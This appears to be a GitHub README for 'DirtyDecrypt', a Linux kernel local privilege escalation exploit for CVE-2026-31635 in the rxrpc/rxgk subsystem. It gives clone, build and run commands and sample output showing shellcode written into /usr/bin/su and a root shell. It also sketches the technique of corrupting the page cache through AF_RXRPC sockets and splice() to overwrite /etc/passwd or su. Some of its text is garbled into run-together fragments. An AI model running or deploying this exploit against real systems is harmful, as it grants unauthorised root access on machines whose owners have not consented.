
CVE-2026-31635
Linux Kernel Local Privilege Escalation via RXGK Page Cache Corruption
DirtyDecrypt (CVE-2026-31635) is a local privilege escalation vulnerability in the Linux kernel's rxrpc subsystem (specifically the rxgk component).
It abuses a missing Copy-on-Write (COW) check during AES-CBC decryption, allowing an unprivileged user to corrupt page cache and achieve arbitrary file writes, leading to root access.
/etc/passwd (blank root password)CONFIG_RXGK=y)CONFIG_RXGK=nCONFIG_RXGK enabledAF_RXRPC socket supportkeyctl utility (for rxrpc keys)git clone https://github.com/0xBlackash/DirtyDecrypt.git
cd DirtyDecrypt
gcc -O2 -static -pthread CVE-2026-31635.c -o DirtyDecrypt
sudo ./DirtyDecrypt
Expected successful output:
=== rxgk pagecache write (DirtyDecrypt) ===
uid=1000 euid=1000
[*] writing shellcode to /usr/bin/su (96 bytes from offset 0)
[========================================] 100% (XXX/96, YYYY fires)
[*] XXX fires in Z.Zs
[*] exec /usr/bin/su
[*] restore: cp /tmp/.su_12345 /usr/bin/su
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
#
DirtyDecrypt/
├── CVE-2026-31635.c # Main exploit
├── README.md # This file
├── Makefile # Optional
└── exploit.log # Optional output log
AF_RXRPC sockets + splice() to force page cache pages into the RXGK decryption pathskb_cow_data()/etc/passwd) byte-by-byte using sliding window techniqueThis exploit is for educational and authorized security testing only.
Unauthorized use on systems you do not own is illegal.
⭐ Star this repo if it helped you!
Made with ❤️ for the research community